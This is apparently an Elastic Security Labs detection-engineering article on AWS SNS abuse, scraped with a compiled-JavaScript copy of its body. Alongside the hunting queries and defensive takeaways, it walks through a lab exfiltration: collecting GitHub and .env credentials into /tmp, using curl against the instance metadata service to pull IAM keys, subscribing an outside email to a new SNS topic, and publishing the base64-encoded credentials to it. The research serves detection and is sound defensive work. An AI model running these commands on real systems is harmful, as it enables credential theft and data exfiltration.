Rule Source](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/lateral_movement_sns_topic_message_publish_by_rare_user.toml) \n[Hunting Query Source](https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_topic_message_published_by_rare_user.md)\n\nIdentifies when a message is published to an SNS topic from an unusual user identity ARN in AWS. If the role or permission policy does not practice PoLP, publishing to SNS topics may be allowed and thus abused. For example, default roles supplied via AWS Marketplace that allow publishing to SNS topics. It may also identify rogue entities that once were pushing to SNS topics but no longer are being abused if credentials are compromised. Note that this focuses solely on EC2 instances, but you could adjust to account for different publish anomalies based on source, region, user agent and more.\n\nOur query leverages KQL and New Terms rule type to focus on subscriptions that specify an email address. Unfortunately, CloudTrail redacts the email address subscribed, as this would be a vital asset for investigation.\n\n```\nevent.dataset: \"aws.cloudtrail\"\n and event.provider: \"sns.amazonaws.com\"\n and event.action: \"Publish\"\n and aws.cloudtrail.user_identity.type: \"AssumedRole\"\n and aws.cloudtrail.user_identity.arn: *i-*\n```\n\n**New Terms value**: aws.cloudtrail.user_identity.arn\n\n### Hunting Query (ES|QL)\n\n Our hunting query leverages ES|QL and also focused on SNS logs where the API action is *Publish*. This only triggers if the user identity type is an assumed role and the user identity ARN is an EC2 instance ID. Aggregating on **account ID**, **entity**, **assumed role**, **SNS topic** and **region** help us identify any further anomalies based on expectancy of this activity. We can leverage the user agent to identify these calls being made by unusual tools or software as well.\n\n```\nfrom logs-aws.cloudtrail-*\n| where @timestamp \u003e now() - 7 day\n| WHERE\n event.dataset == \"aws.cloudtrail\" AND\n event.provider == \"sns.amazonaws.com\" AND\n event.action == \"Publish\"\n and aws.cloudtrail.user_identity.type == \"AssumedRole\"\n| DISSECT aws.cloudtrail.request_parameters \"{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}\"\n| DISSECT aws.cloudtrail.user_identity.arn \"%{?}:assumed-role/%{assumed_role_name}/%{entity}\"\n| DISSECT user_agent.original \"%{user_agent_name} %{?user_agent_remainder}\"\n| WHERE STARTS_WITH(entity, \"i-\")\n| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name\n| SORT regional_topic_publish_count ASC\n```\n\nHunting Notes:\n\n* If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation. \n* If you notice Terraform, Pulumi, etc. it may be related to testing environments, maintenance or more. \n* Python SDKs that are not AWS, may indicate custom tooling or scripts being leveraged.\n\n## SNS Direct-to-Phone Messaging Spike\n\n[Hunting Query Source](https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_direct_to_phone_messaging_spike.md) \nMITRE ATT\\\u0026CK: [T1660](https://attack.mitre.org/techniques/T1660/)\n\nOur hunting efforts for hypothesized SNS compromise—where an adversary is conducting phishing (smishing) campaigns—focus on *Publish* API actions in AWS SNS. Specifically, we track instances where *phoneNumber* is present in request parameters, signaling that messages are being sent directly to phone numbers rather than through an SNS topic.\n\nNotably, instead of relying on SNS topics with pre-subscribed numbers, the adversary exploits an organization’s production Endpoint Messaging permissions, leveraging:\n\n* An approved Origination ID (if the organization has registered one). \n* A Sender ID (if the adversary controls one or can spoof a trusted identifier). \n* AWS long codes or short codes (which may be dynamically assigned).\n\nSince AWS SNS sanitizes logs, phone numbers are not visible in CloudTrail, but deeper analysis in CloudWatch or third-party monitoring tools may help.\n\n### Hunting Query (ES|QL)\n\nThis query detects a spike in direct SNS messages, which may indicate smishing campaigns from compromised AWS accounts.\n\n```\nfrom logs-aws.cloudtrail-*\n| WHERE @timestamp \u003e now() - 7 day\n| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)\n| WHERE\n event.dataset == \"aws.cloudtrail\" AND\n event.provider == \"sns.amazonaws.com\" AND\n event.action == \"Publish\" AND\n event.outcome == \"success\" AND\n aws.cloudtrail.request_parameters LIKE \"*phoneNumber*\"\n| DISSECT user_agent.original \"%{user_agent_name} %{?user_agent_remainder}\"\n| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name\n| WHERE sms_message_count \u003e 30\n```\n\nHunting Notes:\n\n* AWS removes phone numbers in logs, so deeper analysis via CloudWatch logs may be necessary. \n* While investigating in CloudWatch, the message context is also sanitized. It would be ideal to investigate the message for any suspicious URL links being embedded in the text messages. \n* You can also review AWS SNS delivery logs (if enabled) for message metadata. \n* If messages are not using a topic-based subscription, it suggests direct targeting. \n* The source of these requests is important, if you notice them from an EC2 instance, that is rather odd or Lambda may be an expected serverless code.\n\n# Takeaways\n\nThank you for taking the time to read this publication on **AWS SNS Abuse: Data Exfiltration and Phishing**. We hope this research provides valuable insights into how adversaries can leverage AWS SNS for data exfiltration, smishing and phishing campaigns, as well as practical detection and hunting strategies to counter these threats.\n\n**Key Takeaways:**\n\n* AWS SNS is a powerful service, but can be misused for malicious purposes, including phishing (smishing) and data exfiltration. \n* Adversaries may abuse production SNS permissions using pre-approved Sender IDs, Origination IDs, or long/short codes to send messages outside an organization. \n* Threat actors may weaponize misconfigurations in IAM policies, CloudTrail logging gaps and SNS API limitations to fly under the radar. \n* While in-the-wild (ItW) abuse of SNS is not frequently reported, we are confident that its weaponization and targeted exploitation are already occurring or will emerge eventually. \n* AWS CloudTrail does not capture phone numbers or messages in SNS logs, making CloudWatch third-party monitoring essential for deeper analysis \n* Threat hunting queries can help detect SNS topics being created, subscribed to, or receiving a spike in direct messages, signaling potential abuse. \n* Detection strategies include monitoring SNS API actions, identifying unusual SNS message spikes and flagging anomalies from EC2 or Lambda sources. \n* Defensive measures should include IAM policy hardening, CloudTrail \u0026 SNS logging, anomaly-based detections and security best practices as recommended by AWS to reduce attack surface.\n\nAWS SNS is often overlooked in security discussions, but as this research shows, it presents a viable attack vector for adversaries if left unmonitored. We encourage defenders to stay proactive, refine detection logic, and implement robust security controls to mitigate these risks and increase security posture.\n\nThanks for reading and happy hunting\\!\n\n# References\n\n* [https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/](https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/) \n* [https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/](https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/) \n* [https://catalog.workshops.aws/build-sms-program/en-US](https://catalog.workshops.aws/build-sms-program/en-US)","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),b=(n,e)=\u003e{for(var t in e)a(n,t,{get:e[t],enumerable:!0})},o=(n,e,t,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let s of g(e))!m.call(n,s)\u0026\u0026s!==t\u0026\u0026a(n,s,{get:()=\u003ee[s],enumerable:!(r=u(e,s))||r.enumerable});return n};var y=(n,e,t)=\u003e(t=n!=null?h(p(n)):{},o(e||!n||!n.__esModule?a(t,\"default\",{value:n,enumerable:!0}):t,n)),S=n=\u003eo(a({},\"__esModule\",{value:!0}),n);var c=f((N,l)=\u003e{l.exports=_jsx_runtime});var T={};b(T,{default:()=\u003eA,frontmatter:()=\u003ew});var i=y(c()),w={title:\"AWS SNS Abuse: Data Exfiltration and Phishing\",slug:\"aws-sns-abuse\",subtitle:\"Exploring how adversaries abuse AWS SNS services and detection capabilities\",date:\"2025-03-13\",description:\"During a recent internal collaboration, we dug into publicly known SNS abuse attempts and our knowledge of the data source to develop detection capabilities.\",author:[{slug:\"terrance-dejesus\"}],image:\"Security Labs Images 7.jpg\",category:[{slug:\"security-research\"},{slug:\"security-operations\"}]};function d(n){let e=Object.assign({h1:\"h1\",p:\"p\",a:\"a\",img:\"img\",strong:\"strong\",h2:\"h2\",ul:\"ul\",li:\"li\",h3:\"h3\",code:\"code\",ol:\"ol\",em:\"em\",br:\"br\",pre:\"pre\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h1,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,i.jsx)(e.p,{children:\"Welcome to another installment of AWS detection engineering with Elastic. This article will dive into both how threat adversaries (TA) leverage AWS\\u2019 Simple Notification Service (SNS) and how to hunt for indicators of abuse using that data source.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Expect to learn about potential techniques threat adversaries may exercise in regards to SNS. We will also explore security best practices, hardening roles and access, as well as how to craft threat detection logic for SNS abuse.\"}),`\n`,(0,i.jsx)(e.p,{children:\"This research was the result of a recent internal collaboration that required us to leverage SNS for data exfiltration during a whitebox exercise. During this collaboration, we became intrigued by how a simple publication and subscription (pub/sub) service could be abused by adversaries to achieve various actions on objectives. We dug into publicly known SNS abuse attempts and our knowledge of the data source to assemble this research about detection opportunities.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Do enjoy!\"}),`\n`,(0,i.jsx)(e.h1,{id:\"understanding-aws-sns\",children:\"Understanding AWS SNS\"}),`\n`,(0,i.jsx)(e.p,{children:\"Before we get started on the details, let\\u2019s discuss what AWS SNS is to have a basic foundational understanding.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"AWS SNS is a web service that allows users to send and receive notifications from the cloud. Think of it like a news feed service where a digital topic is created, those who are interested with updates subscribe via email, slack, etc. and when data is published to that topic, all subscribers are notified and receive it. This describes what is commonly referred to as a pub/sub service provided commonly by cloud service providers (CSP). In Azure, this is offered as \",(0,i.jsx)(e.a,{href:\"https://azure.microsoft.com/en-us/products/web-pubsub\",rel:\"nofollow\",children:\"Web PubSub\"}),\", whereas GCP offers \",(0,i.jsx)(e.a,{href:\"https://cloud.google.com/pubsub#documentation\",rel:\"nofollow\",children:\"Pub/Sub\"}),\". While the names of these services may slightly differ from platform to platform, the utility and purpose do not.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"SNS provides two workflows, \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/sns/latest/dg/sns-user-notifications.html\",rel:\"nofollow\",children:\"application-to-person\"}),\" (A2P) , and \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/sns/latest/dg/sns-system-to-system-messaging.html\",rel:\"nofollow\",children:\"application-to-application\"}),\" (A2A) that serve different purposes. A2P workflows focus more on integral operation with AWS services such as Firehose, Lambda, SQS and more. However, for this article we are going to focus our attention on A2P workflows. As shown in the diagram below, an SNS topic is commonly created, allowing subscribers to leverage SMS, email or push notifications for receiving messages.\"]}),`\n`,(0,i.jsx)(e.h1,{id:\"\",children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image5.png\",alt:\"\",width:\"1232\",height:\"429\"})}),`\n`,(0,i.jsx)(e.h1,{id:\"-1\",children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image12.png\",alt:\"\",width:\"1046\",height:\"535\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:\"Additional Features:\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Filter Policies:\"}),\" Subscribers can define filtering rules to receive only a relevant subset of messages if they choose. These filter policies are defined in JSON format; specifying which attributes of a message the subscriber is interested in. SNS evaluates these policies server-side before delivery to determine which subscribers the messages should be sent to.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Encryption\"}),\": SNS leverages \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/sns/latest/dg/sns-server-side-encryption.html\",rel:\"nofollow\",children:\"server-side encryption\"}),\" (SSE) using AWS Key Management Service (KMS) to secure messages at rest. When encryption is enabled, messages are encrypted before being stored in SNS and then decrypted upon delivery to the endpoint. This is of course important for maintaining the security of Personal Identifiable Information (PII) or other sensitive data such as account numbers. Not to fear, although SNS only encrypts at rest, other protocols (such as HTTPS) handle encryption in transit, making it end-to-end (E2E).\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Delivery Retries and Dead Letter Queues (DLQs)\"}),\": SNS automatically retries message delivery to endpoints, such as SQS, Lambda, etc. in case of unexpected failures. However, messages that fail to deliver ultimately reside in \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html\",rel:\"nofollow\",children:\"DLQs\"}),\", which is typically an AWS SQS queue enabling debugging for developers.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Scalability\"}),\": AWS SNS is designed to handle massive message volumes, automatically scaling to accommodate increasing traffic without manual intervention. There are no upfront provisioning requirements, and you pay only for what you use, making it cost-effective for most organizations.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"AWS SNS is a powerful tool for facilitating communication in cloud environments. For a deeper understanding, we recommend diving into the existing \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/sns/latest/dg/welcome.html\",rel:\"nofollow\",children:\"documentation\"}),\" from AWS. However, its versatility and integration capabilities also make it susceptible to abuse. In the next section, we explore some scenarios where adversaries might leverage SNS for malicious purposes.\"]}),`\n`,(0,i.jsx)(e.h1,{id:\"whitebox-testing\",children:\"Whitebox Testing\"}),`\n`,(0,i.jsx)(e.p,{children:'Whitebox testing involves performing atomic emulations of malicious behavior in a controlled environment, with full visibility into the vulnerable or misconfigured infrastructure and its configurations. This approach is commonly employed in cloud environments to validate detection capabilities during the development of threat detection rules or models targeting specific tactics, techniques, and procedures (TTPs).. Unlike endpoint environments, where adversary simulations often involve detonating malware binaries and tools, cloud-based TTPs typically exploit existing API-driven services through \"living-off-the-cloud\" techniques, making this approach essential for accurate analysis and detection.'}),`\n`,(0,i.jsx)(e.h2,{id:\"data-exfiltration-via-sns\",children:\"Data Exfiltration via SNS\"}),`\n`,(0,i.jsx)(e.p,{children:\"Exfiltration via SNS starts with creating a topic that serves as a proxy for receiving stolen data and delivering it to the external media source, such as email or mobile. Adversaries would then subscribe that media source to the topic so that any data received is forwarded to them. After this is staged, it is only a matter of packaging data and publishing it to the SNS topic, which handles the distribution. This method allows adversaries to bypass traditional data protection mechanisms such as network ACLs, and exfiltrate information to unauthorized external destinations.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:\"Example Workflow:\"})}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Land on EC2 instance and perform discovery of sensitive data, stage it for later\"}),`\n`,(0,i.jsx)(e.li,{children:\"Leverage IMDSv2 and STS natively with the installed AWS CLI to get temporary creds\"}),`\n`,(0,i.jsx)(e.li,{children:\"Create a topic in SNS and attach an external email address as a subscriber\"}),`\n`,(0,i.jsx)(e.li,{children:\"Publish sensitive information to the topic, encoded in Base64 (or plaintext)\"}),`\n`,(0,i.jsx)(e.li,{children:\"The external email address receives the exfiltrated data\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image3.png\",alt:\"Visual workflow for data exfiltration via AWS SNS\",width:\"1999\",height:\"1468\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"infrastructure-setup\",children:\"Infrastructure Setup\"}),`\n`,(0,i.jsx)(e.p,{children:\"For the victim infrastructure, we\\u2019ll use our preferred infrastructure-as-code (IaC) framework, Terraform.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"A \",(0,i.jsx)(e.a,{href:\"https://gist.github.com/terrancedejesus/a01aa8f75f715e6baa726a21fcdf2289\",rel:\"nofollow\",children:\"public gist\"}),\" has been created, containing all the necessary files to follow this example.. In summary, these Terraform configurations deploy an EC2 instance in AWS within a public subnet. The setup includes a \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html\",rel:\"nofollow\",children:\"user-data script\"}),\" that adds dummy credentials for sensitive data as environment variables, and installs the AWS CLI to emulate a compromised environment. Additionally, the EC2 instance is assigned an IAM role with permissions for \",(0,i.jsx)(e.code,{children:\"sns:Publish\"}),\", \",(0,i.jsx)(e.code,{children:\"sns:Subscribe\"}),\" and \",(0,i.jsx)(e.code,{children:\"sns:CreateTopic\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"There are several potential ways an adversary might gain initial access to this EC2 instance, including exploiting vulnerable web applications for web shell deployment, using stolen SSH credentials, password spraying or credential stuffing. Within this particular example scenario; let\\u2019s assume the attacker gained initial entry via a vulnerable web application, and subsequently uploaded a web shell. The next goal in this case would be persistence via credential access.. This is commonly seen \",(0,i.jsx)(e.a,{href:\"https://www.wiz.io/blog/wiz-research-identifies-exploitation-in-the-wild-of-aviatrix-cve-2024-50603\",rel:\"nofollow\",children:\"in-the-wild\"}),\" when adversaries target popular 3rd-party software or web apps such as Oracle WebLogic, Apache Tomcat, Atlassian Confluence, Microsoft Exchange and much more.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"To get started, download the Terraform files from the gist.\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Adjust the variables in the \",(0,i.jsx)(e.code,{children:\"variables.tf\"}),\" file to match your setup.\",`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Add your whitelisted IPv4 addressfor trusted_ip_cidr\"}),`\n`,(0,i.jsx)(e.li,{children:\"Add your local SSH key file path to public_key_path\"}),`\n`,(0,i.jsx)(e.li,{children:\"Ensure the ami_id.default is the correct AMI-ID for your region\"}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Run \",(0,i.jsx)(e.code,{children:\"terraform init\"}),\" in the folder to initialize the working directory.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"When ready, run \",(0,i.jsx)(e.code,{children:\"terraform apply\"}),\" to deploy the infrastructure.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"A few reminders:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Terraform uses your AWS CLI default profile, so ensure you\\u2019re working with the correct profile in your AWS configuration.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"The provided AMI ID is specific to the \",(0,i.jsx)(e.code,{children:\"us-east-1\"}),\" region. If you're deploying in a different region, update the AMI ID accordingly in the \",(0,i.jsx)(e.code,{children:\"variables.tf\"}),\" file.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Change \",(0,i.jsx)(e.code,{children:\"trusted_ip_cidr.default\"}),\" in \",(0,i.jsx)(e.code,{children:\"variables.tf\"}),\" from 0.0.0.0/0 (any IP) to your publicly known CIDR range.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image2.png\",alt:\"\",width:\"1742\",height:\"814\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Terraform apply output\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Let\\u2019s SSH into our EC2 instance to ensure that our sensitive credentials were created from the user-data script. Note in the \",(0,i.jsx)(e.code,{children:\"outputs.tf\"}),\" file, we ensured that the SSH command would be generated for us based on the key path and public IP of our EC2 instance.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image10.png\",alt:\"Bash command output for credential check\",width:\"1758\",height:\"486\"})}),`\n`,(0,i.jsx)(e.p,{children:\"With this infrastructure staged and confirmed, we can then move on to practical execution.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"the-workflow-in-practice-exfiltrating-sensitive-credentials\",children:\"The Workflow in Practice: Exfiltrating Sensitive Credentials\"}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s step through this workflow in practice, now that our infrastructure is established. As a reminder, the goal of our opportunistic adversary is to check for local credentials, grab what they can and stage the sensitive data locally. Since landing on this EC2 instance, we have identified the AWS CLI exists, and identified we have SNS permissions. Thus, we plan to create a SNS topic, register an external email as a subscriber and then exfiltrateour stolen credentials and other data as SNS messages.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Note: While this example is extremely simple, the goal is to focus on SNS as a methodology for exfiltration. The exact circumstances and scenario will differ depending on the specific infrastructure setup of the victim.\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Identify and Collect Credentials from Common Locations:\"}),(0,i.jsx)(e.br,{}),`\n`,\"Our adversary will target GitHub credentials files and .env files locally with some good ol\\u2019 fashioned Bash scripting. This will take the credentials from these files and drop them into the \",(0,i.jsx)(e.code,{children:\"/tmp\"}),\" temporary folder, staging them for exfiltration.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Command: cat /home/ubuntu/.github/credentials /home/ubuntu/project.env \u003e /tmp/stolen_creds.txt\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image11.png\",alt:\"\",width:\"1999\",height:\"355\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Stage Exfiltration Method by Creating SNS Topic\"}),(0,i.jsx)(e.br,{}),`\n`,\"Let\\u2019s leverage the existing AWS CLI to create the SNS topic. As a reminder, this EC2 instance assumes the custom IAM role we created and attached, which allows it to create SNS topics and publish messages. Since the AWS CLI is pre-installed on our EC2 instance, it will retrieve temporary credentials from IMDSv2 for the assumed role when invoked. However, if this were not the case, an adversary could retrieve credentials natively with the following bash code.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`# Fetch the IMDSv2 token\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\n\n# Get the IAM role name\nROLE_NAME=$(curl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/)\n\n# Fetch the temporary credentials\nCREDENTIALS=$(curl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)\n\n# Extract the Access Key, Secret Key, and Token\nAWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')\nAWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')\nAWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Once this is complete, let\\u2019s attempt to create our SNS topic and the email address that will be used as our external receiver for the exfiltrated data.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Create Topic Command: \",(0,i.jsx)(e.code,{children:`TOPIC_ARN=$(aws sns create-topic --name \"whitebox-sns-topic\" --query 'TopicArn' --output text)`})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Subscribe Command: \",(0,i.jsx)(e.code,{children:'aws sns subscribe --topic-arn \"$TOPIC_ARN\" --protocol email --notification-endpoint \"adversary@protonmail.com\"'})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"As shown above after the commands are run, we can then navigate to the inbox of the external email address to confirm subscription. Once confirmed, our external email address will now receive any messages sent to the \",(0,i.jsx)(e.code,{children:\"whitebox-sns-topic topic\"}),\" which we plan to use for exfiltration.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image9.png\",alt:\"\",width:\"1654\",height:\"664\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Exfiltrate Data via SNS Publish\"}),(0,i.jsx)(e.br,{}),`\n`,\"At this point, we have gained access to an EC2 instance, snooped around to understand our environment, identified some services for abuse and some credentials that we want to obtain. Note that our previous steps could all have been accomplished via a simple Bash script that could be dropped on the compromised EC2 instance via our webshell, but this is broken down into individual steps for example purposes..\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Next, we can take the data we stored in \",(0,i.jsx)(e.code,{children:\"/tmp/stolen_creds.txt\"}),\", base64 encode it and ship it to our adversary controlled email address via SNS.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Commands:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Base64 encode contents: \",(0,i.jsx)(e.code,{children:\"BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Publish encoded credentials to our topic: \",(0,i.jsx)(e.code,{children:'aws sns publish --topic-arn \"$TOPIC_ARN\" --message \"$BASE64_CONTENT\" --subject \"Encoded Credentials from EC2\"'})]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image7.png\",alt:\"\",width:\"1999\",height:\"252\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Once completed, we can simply check our inbox for these exfiltrated credentials.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image1.png\",alt:\"\",width:\"1999\",height:\"495\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Taking the payload from our message, we can decode it to see that it represents the credentials we found lying around on the EC2 instance.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image6.png\",alt:\"\",width:\"1644\",height:\"516\"})}),`\n`,(0,i.jsx)(e.p,{children:\"As many adversaries may attempt to establish persistence or laterally move throughout the AWS environment and services, they would then be able to rely on this SNS topic to exfiltrate data for as long as permissions were in scope for the IAM user or role. Additionally, they could set up a recurring job that scans for data on this EC2 instance and continually exfiltrates anything interesting over time. There are many practical options in this scenario for additional chaining that could be done.\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Before continuing, we encourage you to use the following command to destroy your infrastructure once logging out of the SSH connection\"}),\": \",(0,i.jsx)(e.code,{children:\"terraform destroy --auto-approve\"})]}),`\n`,(0,i.jsx)(e.h3,{id:\"challenges-for-adversaries\",children:\"Challenges for Adversaries:\"}),`\n`,(0,i.jsx)(e.p,{children:\"Of course, there are many uncertaintiesin any whitebox testing that may prove as roadblocks or hurdles for a TA, both advanced and immature in knowledge, skills and abilities. It is also very dependent on the configuration and environment of the potential victim. Below are additional challenges that adversaries would face.\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Initial Access\"}),\": Gaining initial access to the EC2 instance is often the biggest hurdle. This could involve exploiting a vulnerable web application or 3rd-party service, using stolen SSH credentials, password spraying or credential stuffing, or leveraging other means such as social engineering or phishing. Without initial access, the entire attack chain is infeasible.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Establishing an Active Session\"}),\": After gaining access, maintaining an active session can be difficult, especially if the environment includes robust endpoint protection or regular reboots that clear unauthorized activity. Adversaries may need to establish a persistent foothold using techniques like a webshell, reverse shell or an automated dropper script.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"AWS CLI Installed on the Instance\"}),\": The presence of the AWS CLI on a public-facing EC2 instance is uncommon and not considered a best practice. Many secure environments avoid pre-installing the AWS CLI, forcing adversaries to bring their own tools or rely on less direct methods to interact with AWS services.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"IAM Role Permissions\"}),\": The IAM role attached to the EC2 instance must include permissive policies for SNS actions (\",(0,i.jsx)(e.code,{children:\"sns:Publish\"}),\", \",(0,i.jsx)(e.code,{children:\"sns:Subscribe\"}),\", \",(0,i.jsx)(e.code,{children:\"sns:CreateTopic, sts:GetCallerIdentity\"}),\"). Many environments restrict these permissions to prevent unauthorized use, and misconfigurations are often necessary for the attack to succeed. Best security practices such as principle-of-least-privilege (PoLP) would ensure the roles are set up with only necessary permissions.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Execution of Malicious Scripts\"}),\": Successfully executing a script or running commands without triggering alarms (e.g., CloudTrail, GuardDuty, EDR agents) is a challenge. Adversaries must ensure their activities blend into legitimate traffic or use obfuscation techniques to evade detection.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"advantages-for-adversaries\",children:\"Advantages for Adversaries\"}),`\n`,(0,i.jsx)(e.p,{children:\"Of course, while there are challenges for the adversary with these techniques, let\\u2019s consider some crucial advantages that they may have as well.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Blending In with Native AWS Services\"}),\": By leveraging AWS SNS for data exfiltration, the adversary's activity appears as legitimate usage of a native AWS flagship service. SNS is commonly used for notifications and data dissemination, making it less likely to raise immediate suspicion.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Identity Impersonation via IAM Role\"}),\": Actions taken via the AWS CLI are attributed to the IAM role attached to the EC2 instance. If the role already has permissions for SNS actions and is used regularly for similar tasks, adversarial activity can blend seamlessly with expected operations.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"No Concerns with Security Groups or Network ACLs\"}),\": Since SNS communication occurs entirely within the confines of AWS, there\\u2019s no reliance on security group or Network ACL configurations. 